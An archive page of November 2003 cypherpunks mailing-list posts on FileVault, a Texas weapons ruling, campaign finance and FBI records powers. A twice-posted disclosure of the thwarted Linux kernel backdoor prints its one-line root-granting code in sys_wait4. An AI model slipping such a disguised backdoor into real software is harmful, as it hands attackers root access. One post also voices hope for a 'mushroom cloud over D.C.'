November 2003 - cypherpunks-legacy

MacOS X (Panther) FileVault
by Ralf-P. Weinmann 12 Nov '03

12 Nov '03

Panther's FileVault has already come up in a previous discussion, but questions which I thought were pretty obvious and which I had expected at least SOMEONE on cypherpunks to pose haven't come up... Sigh. Are there any whitepapers available on the design of FileVault? Except for impressive words from marketing droids (AES-128, industry-standard cipher, <yawn>) I have seen absolutely zilch on the implementation yet: i.e. is encryption done on a per-file basis or is rather blockwise underneath the filesystem layer (ala loop-aes under Linux)? AES-128, fair enough; but what mode is used for encrypting the files/blocks? ECB? CBC? CTR? CCM? Maybe Apple ported PHK's GBDE [1], MacOS X having FreeBSD underpinnings and all that? What I'd like for Apple to do is step ahead and release the source code of FileVault for per review... Ralf [1] GBDE - GEOM based disk encryption http://phk.freebsd.dk/pubs/bsdcon-03.gbde.paper.pdf -- Ralf-P. Weinmann <weinmann(a)cdc.informatik.tu-darmstadt.de> PGP fingerprint: 1024D/EF114FC02F150EB9D4F275B6159CEBEAEFCD9B06

1 0

More crap crypto broken (yawn) (fwd from harley@argote.ch)
by Eugen Leitl 12 Nov '03

12 Nov '03

----- Forwarded message from "Dr. Robert J. Harley" <harley(a)argote.ch> -----

1 0

Gun ownership == using it in crime, Texas court rules
by Declan McCullagh 12 Nov '03

12 Nov '03

Toby Wade Beyer, Appellant Vs. State of Texas, Appellee No. 11-02-00323-CR COURT OF APPEALS OF TEXAS, ELEVENTH DISTRICT, EASTLAND November 5, 2003, Filed PRIOR HISTORY: Appeal from the 266th District of Erath County. DISPOSITION: Affirmed. COUNSEL: For Plaintiff or Petitioner: Andrew Ottaway, Attorney At Law, Granbury, TX. For Defendant or Respondent: John Terrill, District Attorney, Stephenville, TX. JUDGES: Panel consists of: Arnot, C.J., and Wright, J., and McCall, J. OPINIONBY: TERRY McCALL OPINION: Appellant pleaded guilty to the first degree felony offense of the manufacture of methamphetamine. The jury assessed punishment at 20 years confinement and found that appellant used or exhibited a deadly weapon during the commission of the offense. The trial court entered a deadly weapon finding in its judgment. See TEX. CODE CRIM. PRO. ANN. art. 42.12, ' 3g(a)(2) (Vernon Supp. 2003). We affirm. In his sole point of error, appellant complains that the evidence was insufficient to support the jury's finding that he used or exhibited a deadly weapon in the commission of the offense. HN1To determine if the evidence is legally sufficient, we must review all of the evidence in the light most favorable to the verdict [*2] and determine whether any rational trier of fact could have found the essential elements of the crime beyond a reasonable doubt. Jackson v. Virginia, 443 U.S. 307, 61 L. Ed. 2d 560, 99 S. Ct. 2781 (1979); Jackson v. State, 17 S.W.3d 664 (Tex.Cr.App.2000). To determine if the evidence is factually sufficient, we must review all of the evidence in a neutral light and determine whether the evidence supporting guilt is so weak as to render the conviction clearly wrong and manifestly unjust or whether the evidence supporting guilt, although adequate when taken alone, is so greatly outweighed by the overwhelming weight of contrary evidence as to render the conviction clearly wrong and manifestly unjust. Vasquez v. State, 67 S.W.3d 229, 236 (Tex.Cr.App.2002); Goodman v. State, 66 S.W.3d 283 (Tex.Cr.App.2001); Johnson v. State, 23 S.W.3d 1, 11 (Tex.Cr.App.2000); Cain v. State, 958 S.W.2d 404 (Tex.Cr.App.1997); Clewis v. State, 922 S.W.2d 126 (Tex.Cr.App. 1996). HN2The Court of Criminal Appeals has defined the terms "use" and "exhibit" as they are used in Article 42.12, section 3g(a)(2). [*3] Gale v. State, 998 S.W.2d 221, 225 (Tex.Cr.App. 1999); Patterson v. State, 769 S.W.2d 938, 941 (Tex.Cr.App.1989). The "use" of a deadly weapon during the commission of a felony offense extends to any employment of a deadly weapon, even its simple possession, if such possession facilitated the associated felony. Patterson v. State, supra. A defendant's use of a deadly weapon in the sense of protecting and facilitating his possession of a controlled substance constitutes "use" of a deadly weapon under Article 42.12, section 3g(a)(2). Gale v. State, supra; Patterson v. State, supra. In this case, the evidence showed that law enforcement officers searched appellant's residence, pursuant to a search warrant, on December 12, 2001. Investigator Gerald Wayne Rogers of the S.T.O.P. Narcotics Task Force participated in the search. Investigator Rogers testified that, other than the officers, appellant was the only person present at the residence during the search. The officers discovered methamphetamine during the search. They also discovered a working methamphetamine laboratory in the residence and ingredients [*4] necessary to manufacture methamphetamine. Investigator Rogers said that appellant's residence was equipped with surveillance equipment. The officers saw their vehicles on the surveillance television in the living room to the left of the front door. The officers found a loaded sawed-off double-barreled shotgun on a couch that was near the television. Investigator Rogers said that a person sitting on the couch could watch the surveillance on the television and be ready to shoot the shotgun if anybody came in the front door. Investigator Rogers testified that, in his experience, individuals who are involved in manufacturing methamphetamine are generally well armed. Investigator Rogers said that the shotgun was a deadly weapon that was used in the commission of the offense of manufacturing the methamphetamine. Appellant does not deny that the shotgun was a deadly weapon or that he was in possession of it. Rather; he argues that there was no evidence to support the jury's finding that his possession of the shotgun facilitated the associated felony of manufacturing methamphetamine. We disagree. Based on the evidence, a rational trier of fact could find that the shotgun facilitated appellant's [*5] offense of manufacturing. The officers found the loaded shotgun on the couch near the surveillance television. The evidence was legally and factually sufficient to establish that appellant "used" the shotgun in the sense that it protected and facilitated his manufacturing of the methamphetamine. Gale v. State, supra; Patterson v. State, supra. Appellant's sole point of error is overruled. The judgment of the trial court is affirmed. TERRY McCALL JUSTICE

2 1

Campaign contribution limits and soft money...law of unintended consequences
by Tim May 12 Nov '03

12 Nov '03

So the Dems who sought "campaign finance reform," via "McCain-Feingold" (*) are now trying to get an exception to allow George Soros to spend his "soft money" to help Dems. It seems the "legally collected" $160 million war chest that Shrub has collected is scaring the Dems, who have raised vastly less. They are looking with lust at the coffers of Soros and others, except the "campaign finance reform" laws they got passed are a problem... (* McCain is officially a Republican, but is actually deeply statist and is to the left of Ted Kennedy on many things) The Constitutional principle is crystal clear on all of these "limits on speech": there ain't none. If Tim May wants to speak out, buy ads, write articles, hire others to speak out, he can. Ditto for George Soros. Ditto for anyone else. Period. The fact that the Supreme Court has not said "Just what part of the First Amendment have you not read?" and struck down the laws is symptomatic of the sick adhocracy we now live in. I cannot wait for the mushroom cloud over D.C. --Tim May "Gun Control: The theory that a woman found dead in an alley, raped and strangled with her panty hose, is somehow morally superior to a woman explaining to police how her attacker got that fatal bullet wound"

1 0

Certicom Earns FIPS 140-2 Validation on Palm OS
by R. A. Hettinga 12 Nov '03

12 Nov '03

--- begin forwarded text

1 0

Re: Gestapo harasses John Young, appeals to patriotism, told to fuck off
by Anonymous 12 Nov '03

12 Nov '03

>I tried to get them to sit together but they carefully >bracketed me. John, it's imaginable how it feels. It's very inconvenient when men with guns send their minions - and it wouldn't surprise me if it does, over time, change Cryptome's attitude. Avoid heroic stupidity. Optimize for the long run. As opposed to Mr.May, you are causing some real irritation.

1 0

F.B.I.'s Reach Into Records Is Set to Grow
by Steve Schear 12 Nov '03

12 Nov '03

http://www.nytimes.com/2003/11/12/politics/12RECO.html November 12, 2003 F.B.I.'s Reach Into Records Is Set to Grow By ERIC LICHTBLAU ASHINGTON, Nov. 11 A little-noticed measure approved by both the House and Senate would significantly expand the F.B.I.'s power to demand financial records, without a judge's approval, from car dealers, travel agents, pawnbrokers and many other businesses, officials said on Tuesday. Traditional financial institutions like banks and credit unions are frequently subject to administrative subpoenas from the Federal Bureau of Investigation to produce financial records in terrorism and espionage investigations. Such subpoenas, which are known as national security letters, do not require the bureau to seek a judge's approval before issuing them. The measure now awaiting final approval in Congress would significantly broaden the law to include securities dealers, currency exchanges, car dealers, travel agencies, post offices, casinos, pawnbrokers and any other institution doing cash transactions with "a high degree of usefulness in criminal, tax or regulatory matters." Officials said the measure, which is tucked away in the intelligence community's authorization bill for 2004, gives agents greater flexibility and speed in seeking to trace the financial assets of people suspected of terrorism and espionage. It mirrors a proposal that President Bush outlined in a speech two months ago to expand the use of administrative subpoenas in terrorism cases. Critics said the measure would give the federal government greater power to pry into people's private lives. "This dramatically expands the government's authority to get private business records," said Timothy H. Edgar, legislative counsel for the American Civil Liberties Union. "You buy a ring for your grandmother from a pawnbroker, and the record on that will now be considered a financial record that the government can get." The provision is in the authorization bills passed by both houses of Congress. Some Democrats have begun to question whether the measure goes too far and have hinted that they may try to have it pulled when the bill comes before a House-Senate conference committee. Other officials predicted that the measure would probably survive any challenges in conference and be signed into law by President Bush, in part because the provisions already approved in the House and the Senate are identical. The intelligence committees considered the proposal at the request of George J. Tenet, the director of central intelligence, officials said. Officials at the C.I.A. and the Justice Department declined to comment on Tuesday about the measure. A senior Congressional official who supports the provision said that "this is meant to provide agents with the same amount of flexibility in terrorism investigations that they have in other types of investigations." "This was really just a technical change to reflect the new breed of financial institutions," the official added. Asked what had prompted the measure, the official said: "This is coming from 3,000 dead people. There's an ever-expanding universe of places where terrorists can hide financial transactions, and it's only prudent and wise to anticipate where they might be and to give law enforcement the tools that they need to find them." Christopher Wray, the Justice Department's assistant attorney general in charge of the criminal division, also addressed the issue last month at a Senate hearing. Mr. Wray said that compared with the antiterrorism law that allowed agents to demand business records with court approval, the F.B.I.'s administrative subpoenas were more limited. The administrative subpoenas "do provide for production of some records," he said, but "they don't cover as many types of business records."

1 0

Re: Deniable data storage
by Tarapia Tapioco 11 Nov '03

11 Nov '03

James A. Donald (jamesd(a)echeque.com) wrote on 2003-11-06: > I want fully deniable information storage -- information > theoretic deniable, not merely steganographic deniable, for > stenography can never be wholly secure. So, StegFS is not "deniable enough"? I'm not much of a theory buff, but it sure sounds nice from the paper...

2 1

Thwarted Linux backdoor
by Douglas W. Jones 11 Nov '03

11 Nov '03

On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into Linux was averted. This is a really good example of the subtle kinds of hacks a source code examiner must be waiting to catch if we want genuinely secure voting systems under the current model of proprietary DRE systems with a closed-door source code examination. Someone broke into a server at kernel.kbits.net and inserted the following code into the Linux kernel: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; This was done in the code sys_wait4(). Larry McVoy caught the fact that the change had been made, and was annoyed because it wasn't logged properly. Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if you hope to get root." So, an annoying violation of the software change logging requirements turned out to be an attempt to install a backdoor in Linux. At least two very experienced programmers looked at it and saw just slightly odd code, before the serious nature of the threat was actually discovered. This particular attack, by the way, is ruled out by the current voting system standards, not because they require a comprehensive security analysis, but because of their C-centered coding rules. Embedded assignment is forbidden. Current source code checks are good at finding embedded assignments and flagging them (as long as the code is written in C). No doubt, a hacker of the sophistication suggested by the attack illustrated above would strictly adhere to the coding guidelines in formulating their attack. For the complete story of this attack on Linux, including the actual E-mail exchange documenting the discovery of the attack, see: http://kerneltrap.org/node/view/1584 Linux: Kernel "Back Door" Attempt This attack has only made the mainstream media in one place, so far: http://www.smh.com.au/articles/2003/11/07/1068013371170.html Bid to backdoor Linux kernel detected - smh.com.au This is a pity, because I think this story is really important. ----- End forwarded message ----- -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

1 0

Thwarted Linux backdoor
by Douglas W. Jones 11 Nov '03

11 Nov '03

On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into Linux was averted. This is a really good example of the subtle kinds of hacks a source code examiner must be waiting to catch if we want genuinely secure voting systems under the current model of proprietary DRE systems with a closed-door source code examination. Someone broke into a server at kernel.kbits.net and inserted the following code into the Linux kernel: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; This was done in the code sys_wait4(). Larry McVoy caught the fact that the change had been made, and was annoyed because it wasn't logged properly. Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if you hope to get root." So, an annoying violation of the software change logging requirements turned out to be an attempt to install a backdoor in Linux. At least two very experienced programmers looked at it and saw just slightly odd code, before the serious nature of the threat was actually discovered. This particular attack, by the way, is ruled out by the current voting system standards, not because they require a comprehensive security analysis, but because of their C-centered coding rules. Embedded assignment is forbidden. Current source code checks are good at finding embedded assignments and flagging them (as long as the code is written in C). No doubt, a hacker of the sophistication suggested by the attack illustrated above would strictly adhere to the coding guidelines in formulating their attack. For the complete story of this attack on Linux, including the actual E-mail exchange documenting the discovery of the attack, see: http://kerneltrap.org/node/view/1584 Linux: Kernel "Back Door" Attempt This attack has only made the mainstream media in one place, so far: http://www.smh.com.au/articles/2003/11/07/1068013371170.html Bid to backdoor Linux kernel detected - smh.com.au This is a pity, because I think this story is really important. ----- End forwarded message ----- -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

1 0